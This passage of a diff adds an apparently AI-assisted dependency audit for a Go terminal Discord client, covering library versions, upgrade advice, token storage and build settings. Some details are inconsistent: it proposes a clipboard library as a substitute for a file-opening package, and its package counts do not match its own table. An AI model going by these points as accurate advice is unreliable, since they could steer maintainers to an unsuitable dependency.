+| Markdown Parser | github.com/yuin/goldmark | v1.7.17 | v1.7.17 | Current |
+| Syntax Highlight | github.com/alecthomas/chroma/v2 | v2.23.1 | v2.23.1 | Current |
+| Config | github.com/BurntSushi/toml | v1.6.0 | v1.6.0 | Current |
+| Unicode Segmentation | github.com/rivo/uniseg | v0.4.7 | v0.4.7 | Current |
+| Fuzzy Search | github.com/sahilm/fuzzy | v0.1.1 | unknown | Current |
+| WebSocket | github.com/gorilla/websocket | v1.5.3 | v1.5.3 | Current (slow dev) |
+| Compression | github.com/klauspost/compress | v1.18.4 | v1.18.4 | Current |
+| Brotli | github.com/andybalholm/brotli | v1.2.0 | v1.2.0 | Current |
+| Clipboard | github.com/ayn2op/clipboard | v0.0.0-20260308 (pseudo) | same | Current |
+| Keyring | github.com/zalando/go-keyring | v0.2.6 | v0.2.6 | Current |
+| Notifications | github.com/gen2brain/beeep | v0.11.2 | v0.11.x | Current |
+| File Dialog | github.com/ncruces/zenity | v0.10.14 | v0.10.14 | Current |
+| System Open | github.com/skratchdot/open-golang | v0.0.0-20200116 | same (no updates) | Unmaintained |
+| QR Code | github.com/skip2/go-qrcode | v0.0.0-20200617 | same (no updates) | Stale |
+| UUID | github.com/google/uuid | v1.6.0 | v1.6.0 | Current |
+| x/sys | golang.org/x/sys | v0.42.0 | v0.42.0 | Current |
+| x/term | golang.org/x/term | v0.41.0 | v0.41.0 | Current |
+
+---
+
+## POSITIVES
+
+- Go 1.26 module minimum is the most recent stable release (released Feb 10, 2026), making this one of the most current Go projects possible.
+- `tcell/v3` at v3.1.2 is the latest release of the terminal backend.
+- `chroma/v2` at v2.23.1 is current; syntax highlighting is up to date.
+- `BurntSushi/toml` at v1.6.0 is the latest release.
+- `klauspost/compress` at v1.18.4 is current, including the latest gzhttp improvements.
+- `golang.org/x/sys` and `golang.org/x/term` are both pinned to their latest releases as of the audit date.
+- `ayn2op/tview` is an actively developed custom fork tracked at a specific commit; the fork shows multiple commits per day as of this writing — active and in sync with the project's needs.
+- `zalando/go-keyring` at v0.2.6 is current; token storage via the OS keyring is a sound security pattern (avoids plaintext storage).
+- Config defaults are embedded via `//go:embed config.toml`, which eliminates runtime file-not-found failures for the default configuration.
+- The `guildstate.go` implementation uses a mutex correctly around both read and write operations; the state file is saved synchronously after each change, not in a goroutine.
+- Build flags `-trimpath -ldflags=-s` are used in CI, producing a smaller binary and stripping debug symbols and file paths — correct for distribution builds.
+- The `xdotool` dependency for geometry detection is used with graceful degradation: if `xdotool` fails or is absent, `terminalGeometry()` returns an empty string and mpv runs without geometry arguments. This is the correct pattern for an optional dependency.
+
+---
+
+## CRITICAL
+
+_No security vulnerabilities or EOL technologies requiring immediate attention were found. The Go version, TUI stack, and core Discord libraries are current. See RECOMMENDED UPGRADES for lower-priority items._
+
+---
+
+## RECOMMENDED UPGRADES
+
+### 1. skratchdot/open-golang: Unmaintained (Last commit: January 2020)
+`internal/ui/chat/messages_list.go`, `internal/notifications/notifications.go` — This package has had no development activity in over six years. It has a single pseudo-version, 28 total commits, and no indication of future maintenance. It wraps `xdg-open` (Linux), `open` (macOS), and `start` (Windows) to open files and URLs in the system default application. While it continues to function, it receives no security patches and no bug fixes, and any Go toolchain evolution that changes CGO or exec handling could break it silently.
+
+Two approaches are available: (a) replace with a direct `exec.Command("xdg-open", path)` call gated on `runtime.GOOS`, which eliminates the dependency entirely — the usage in this project is straightforward enough that three lines of stdlib code cover it; or (b) adopt `golang.design/x/clipboard` or simply inline the platform-specific invocations. Given the project already has a platform-detection pattern (the clipboard package uses build tags for Wayland vs default), inlining is the cleaner path.
+
+**Fix:** Replace the `open.Start()` call in `messages_list.go` (image fallback, line ~1281) and `open.Start()` in the notifications file with a small platform-gated function using `os/exec`. Remove the `github.com/skratchdot/open-golang` require line from `go.mod`. Total effort: low (one usage in each of two files; the call signature is `open.Start(path string) error`).
+
+**Implementation Risk:** Low. The replacement is a one-for-one substitution using stdlib. Test on Linux (xdg-open), macOS (open), and Windows (cmd /c start) paths separately. The gorilla/websocket indirect dependency is completely unrelated.
+
+---
+
+### 2. skip2/go-qrcode: Stale (Last commit: June 2020)
+`internal/ui/login/qr/model.go` — This package generates the QR code displayed during Discord QR login. It has not been updated since June 2020, has a single pseudo-version, and receives no maintenance. It has 1.5k+ stars but development appears permanently stopped.
+
+A maintained alternative is `github.com/yeqown/go-qrcode/v2` or `github.com/skip2/go-qrcode`'s most active fork. For this use case (terminal QR code output), the output is rendered as ASCII art in the TUI, so any spec-compliant QR library would work without API changes.
+
+**Fix:** Evaluate `github.com/yeqown/go-qrcode/v2` as a replacement. The current usage in `qr/model.go` likely calls `qrcode.New(data, qrcode.Medium)` and then renders it — confirm the API surface before migrating. Alternatively, pin a specific commit of a fork with recent activity. Effort: low to medium (QR rendering is self-contained to the login/qr package).
+
+**Implementation Risk:** Low-medium. QR code generation is not security-sensitive in this context (the QR code is an externally-provided token URL from Discord). The main risk is API differences between the current library and replacements; test QR login flow after migration.
+
+---
+
+### 3. gorilla/websocket: Archived upstream, slow development
+`go.mod` (indirect, pulled in via arikawa) — gorilla/websocket is the WebSocket implementation used by the arikawa Discord library. The original maintainer archived the repository in 2022, though community maintainers subsequently revived it. Development is slow and the most recent release (v1.5.3, June 2024) is now nearly two years old. The package has no critical CVEs at the time of this audit, but its maintenance trajectory is uncertain.
+
+This is an indirect dependency — discordo does not import gorilla/websocket directly. The fix requires arikawa to migrate, not discordo. The upstream arikawa project (`diamondburned/arikawa`) would need to adopt an alternative such as `coder/websocket` or `nhooyr.io/websocket`. This is worth tracking but cannot be resolved within this fork without forking arikawa as well.
+
+**Fix:** Monitor the arikawa upstream for movement on this issue. If arikawa does not migrate within 12 months, consider patching the discordo-plus fork of arikawa (already commented out as a local replace directive in go.mod) to use coder/websocket.
+
+**Implementation Risk:** High if attempted. WebSocket replacement in arikawa would require careful handling of connection lifecycle, reconnect logic, and all Discord gateway event flows. Not recommended as an immediate action.
+
+---
+
+### 4. ✅ FIXED — goldmark: One patch version behind (v1.7.16 vs v1.7.17)
+`go.mod` — goldmark v1.7.17 was released March 19, 2026 (one day before this audit). The project uses v1.7.16. This is a minimal gap; patch releases in goldmark are typically bug fixes.
+
+**Fix:** Run `go get github.com/yuin/goldmark@v1.7.17` and `go mod tidy`. Review the v1.7.17 changelog on GitHub for any rendering-related fixes that might affect Discord markdown output.
+
+**Implementation Risk:** Negligible. Patch-level goldmark releases are non-breaking by convention. Run `go test ./...` after updating.
+
+---
+
+### 5. ✅ FIXED — CI uses `go-version: stable` — no pinned Go toolchain
+`.github/workflows/ci.yml` — The CI workflow uses `go-version: stable`, which automatically tracks the latest stable Go release. This means CI silently advances whenever Go publishes a new version. This can introduce unexpected breakage from toolchain changes (vet rules, new lints, behavior changes) without any explicit decision being made.
+
+**Fix:** Pin the CI Go version to `go-version: "1.26"` (or `"1.26.x"` to allow patch updates). This makes toolchain upgrades explicit and reviewable. Update the pin when upgrading is intentional.
+
+**Implementation Risk:** None from pinning. The risk is the current behavior: an unexpected toolchain bump mid-CI could cause false test failures or missed vet issues during a period where CI is temporarily broken.
+
+---
+
+## STRATEGIC RECOMMENDATIONS
+
+### 6. Plan for arikawa/ningen version pinning strategy
+`go.mod` — Both `diamondburned/arikawa/v3` and `diamondburned/ningen/v3` are pinned to pre-release pseudo-versions (commit hashes, not semver tags). This is necessary because the upstream does not publish stable semver tags frequently. However, it means dependency updates are entirely manual and opaque — there is no conventional way to check for "newer versions" using `go list -m` or Dependabot, since these are pseudo-versions.
+
+The go.mod also contains commented-out replace directives pointing to local sibling directories (`../tview`, `../arikawa`), which suggests the development workflow sometimes involves local patches to these dependencies. This is functional but should be documented explicitly to avoid confusion for future contributors.
+
+**Recommendation:** Document the update process for pseudo-version dependencies in CLAUDE.md or a CONTRIBUTING file. Establish a cadence (e.g., monthly) for reviewing arikawa and ningen upstream commits and updating the pinned hashes. Consider whether a maintained fork of arikawa is needed long-term if upstream activity slows.
+
+**Implementation Risk:** Low operational risk. This is a process recommendation, not a code change. The main risk of the status quo is missing security-relevant commits in arikawa or ningen without noticing.
+
+---
+
+### 7. xdotool geometry detection: X11-only with no Wayland fallback
+`internal/ui/chat/messages_list.go` — The `terminalGeometry()` function calls `xdotool getactivewindow getwindowgeometry --shell` to position the mpv window to match the terminal window. This only works on X11. On Wayland, `xdotool` either fails silently or is not installed, in which case mpv launches without geometry arguments. This is documented in CLAUDE.md.
+
+A Wayland-native approach does not have a clean library equivalent (Wayland compositors are fragmented on window geometry APIs). However, the user experience on Wayland is noticeably worse: mpv opens at a default position/size rather than overlaying the terminal.
+
+**Recommendation:** Consider exposing `viewer_args` as a raw config array (e.g., `image_viewer_args = ["--geometry=800x600"]`) that users can set directly. This makes geometry configuration explicit and compositor-agnostic, and removes the `xdotool` runtime dependency entirely. The `viewerArgs()` function would then concatenate the configured args instead of detecting them. This is a small config and code change that significantly improves Wayland usability.
+
+**Implementation Risk:** Low. The config field would be optional with a nil/empty default. The `viewerArgs()` function already returns a flat `[]string` slice. The main consideration is backward compatibility for existing users who rely on the automatic geometry detection on X11 — offer `viewer_args` as an override rather than a replacement.
+
+---
+
+### 8. Token stored in keyring — DISCORDO_TOKEN env var bypasses keyring
+`internal/ui/root/model.go` — The `DISCORDO_TOKEN` environment variable is checked first at startup and bypasses keyring storage entirely. This is intentional for CI/automated use cases, but environment variables are visible to all processes running as the same user (via `/proc/PID/environ`) on Linux. Users who set this variable in shell profiles (`.bashrc`, `.zshrc`) may inadvertently expose their Discord token to other user-space processes.
+
+**Recommendation:** Add a warning in documentation (README or config.toml comments) that `DISCORDO_TOKEN` should only be used in transient, controlled environments (e.g., a systemd unit with `EnvironmentFile=` from a protected path) and not in shell profiles. The keyring path is the correct default for interactive use. This is a documentation/UX concern, not a code defect.
+
+**Implementation Risk:** Zero — documentation only.
+
+---
+
+## NO ACTION NEEDED
+
+| Package | Version | Status | Notes |
+|---|---|---|---|
+| github.com/alecthomas/chroma/v2 | v2.23.1 | Current | Latest release Jan 23, 2026 |
+| github.com/BurntSushi/toml | v1.6.0 | Current | Latest release Dec 18, 2025 |
+| github.com/gdamore/tcell/v3 | v3.1.2 | Current | Latest release Jan 26, 2026 |
+| github.com/klauspost/compress | v1.18.4 | Current | Latest release Feb 9, 2026 |
+| github.com/andybalholm/brotli | v1.2.0 | Current | Pure Go brotli; no open issues |
+| github.com/rivo/uniseg | v0.4.7 | Current | Latest release Feb 8, 2024; stable |
+| github.com/zalando/go-keyring | v0.2.6 | Current | Latest release Oct 25, 2024 |
+| github.com/gen2brain/beeep | v0.11.2 | Current | Active maintenance, cross-platform |
+| github.com/ncruces/zenity | v0.10.14 | Current | Latest release Sep 4, 2024 |
+| github.com/google/uuid | v1.6.0 | Current | Stable, actively maintained |
+| github.com/google/go-cmp | v0.6.0 | Current | Stable test utility |
+| golang.org/x/sys | v0.42.0 | Current | Latest release Mar 3, 2026 |
+| golang.org/x/term | v0.41.0 | Current | Latest release Mar 10, 2026 |
+| golang.org/x/text | v0.35.0 | Current | Maintained by Go team |
+| golang.org/x/image | v0.37.0 | Current | Maintained by Go team |
+| golang.org/x/time | v0.15.0 | Current | Maintained by Go team |
+| github.com/ayn2op/tview | v0.0.0-20260318094340 | Current | Active fork; multiple commits/week |
+| github.com/ayn2op/clipboard | v0.0.0-20260308203959 | Current | Active fork aligned with tview |
+| github.com/diamondburned/arikawa/v3 | v3.6.1-0.20260311 | Current | Pre-release pseudo-version; active |
+| github.com/diamondburned/ningen/v3 | v3.0.1-0.20260306 | Current | Pre-release pseudo-version; active |
+| github.com/gorilla/websocket | v1.5.3 | Current (indirect) | Latest tagged release; no CVEs |
+| github.com/dlclark/regexp2 | v1.11.5 | Current (indirect) | Chroma dependency |
+| github.com/sahilm/fuzzy | v0.1.1 | Current | Fuzzy search for pickers |
+
+---
+
+## Runtime Requirements
+
+### External Tools
+
+| Tool | Purpose | Required? | Platform Constraint |
+|---|---|---|---|
+| mpv | Image attachment viewer | No (configurable) | Cross-platform; default choice |
+| xdotool | Terminal geometry detection for mpv window positioning | No | X11 only; gracefully skipped if absent |
+| vim / $EDITOR | Editing config file via `E` keybind | No (falls back gracefully) | Any |
+| libx11-dev | X11 clipboard support | Build-time only on Linux | Linux X11 |
+| Secret Service (dbus) | Keyring token storage on Linux | Recommended | Linux (GNOME Keyring / KDE Wallet) |
+
+### Terminal Requirements
+
+- OSC 8 hyperlink support: required for clickable attachment URLs. Supported in: kitty, foot, wezterm, alacritty (recent), VTE-based terminals. Not supported in: vanilla xterm, most SSH clients.
+- Mouse support: optional, enabled via `mouse = true` in config. `screen.EnableMouse()` is called when configured.
+- Paste bracket support: always enabled (`screen.EnablePaste()`).
+- Focus events: always enabled (`screen.EnableFocus()`).
+- True color (24-bit): required for accurate theme color rendering; supported by most modern terminals.
+
+### Platform Notes
+
+- Linux is the primary target platform. All features are supported.
+- macOS: supported in CI; image viewer defaults may need adjustment (`image_viewer = "open"` or `"default"`). Desktop notifications use AppleScript via beeep. Suspend (`ctrl+z`) works via unix build tag.
+- Windows: CI builds and tests pass. Suspend functionality is a no-op (`suspend_default.go`). Clipboard relies on Windows APIs. Keyring uses Windows Credential Manager. Some terminal features (OSC 8, mouse) depend on terminal emulator (Windows Terminal supports most).
+- Wayland: clipboard has a dedicated implementation (`clipboard_wayland.go`). xdotool geometry detection does not work; mpv opens without terminal-matching geometry.
+
+---
+
+## Build Configuration
+
+- Module path: `github.com/ayn2op/discordo`
+- Go minimum: `go 1.26.0` (go.mod directive)
+- Build command (CI): `go build -trimpath -ldflags=-s .`
+  - `-trimpath`: removes local filesystem paths from the binary
+  - `-ldflags=-s`: strips the symbol table, reducing binary size
+- Test command: `go test -v ./...`
+- CI matrix: Ubuntu (x64 + ARM), Windows (x64 + ARM), macOS (ARM + Intel)
+- Linux CI requires `libx11-dev` for clipboard compilation (`sudo apt install libx11-dev`)
+- Binary output: named `discordo` by CI artifact convention; project installs as `discordo-plus`
+- No custom build tags required at the module level; platform-specific files use Go's filename-based build tag convention (`_unix`, `_darwin`, `_default`)
+
+---
+
+## Summary
+
+| Severity | Total |
+|---|---|
+| Critical | 0 |
+| Recommended Upgrades | 5 |
+| Strategic | 3 |
+| No Action | 22 |
+
+The stack is in excellent health. The Go module is pinned to the latest stable release (1.26), core TUI and Discord libraries are current or actively tracking upstream at pseudo-version granularity, and all major stdlib-adjacent dependencies are up to date. The two primary concerns are unmaintained third-party packages (skratchdot/open-golang, skip2/go-qrcode) that have had no development activity for 5+ years — both are low-risk to replace with stdlib code or maintained alternatives. The gorilla/websocket situation is an inherited risk through arikawa and cannot be resolved without upstream action or forking arikawa. The goldmark patch-version gap is trivial.
+
+---
+
+## Files Reviewed
+
+| # | File | Type |
+|---|---|---|
+| 1 | `go.mod` | Manifest |
+| 2 | `go.sum` | Lock file (presence verified) |
+| 3 | `main.go` | Entry point |
+| 4 | `cmd/root.go` | App initialization |
+| 5 | `.github/workflows/ci.yml` | CI configuration |
+| 6 | `internal/config/config.go` | Config struct and loader |
+| 7 | `internal/config/keybinds.go` | Keybind definitions |
+| 8 | `internal/config/theme.go` | Theme/style TOML unmarshaling |
+| 9 | `internal/config/editor_unix.go` | Editor command construction |
+| 10 | `internal/consts/consts.go` | App name, cache directory |
+| 11 | `internal/ui/root/model.go` | Root model, help overlay, edit config |
+| 12 | `internal/ui/root/suspend_unix.go` | Unix SIGTSTP suspend |
+| 13 | `internal/ui/chat/messages_list.go` | Core message rendering (1500+ lines) |
+| 14 | `internal/ui/chat/attachments_picker.go` | Attachment picker UI |
+| 15 | `internal/ui/chat/guildstate.go` | Guild expand/collapse persistence |
+| 16 | `internal/ui/chat/guilds_tree.go` | Guild/channel tree widget |
+| 17 | `internal/markdown/renderer.go` | Discord markdown AST renderer |
+| 18 | `internal/clipboard/clipboard.go` | Clipboard abstraction |
+| 19 | `internal/keyring/keyring.go` | Keyring token access |
+| 20 | `internal/notifications/notifications.go` | Desktop notification dispatch |
+| 21 | `internal/http/transport.go` | Custom HTTP transport (gzip + brotli) |
+| 22 | `internal/logger/logger.go` | slog setup |
+| 23 | `images.plan` | Feature plan document (historical) |
+| 24 | `CLAUDE.md` | Project context (via system prompt) |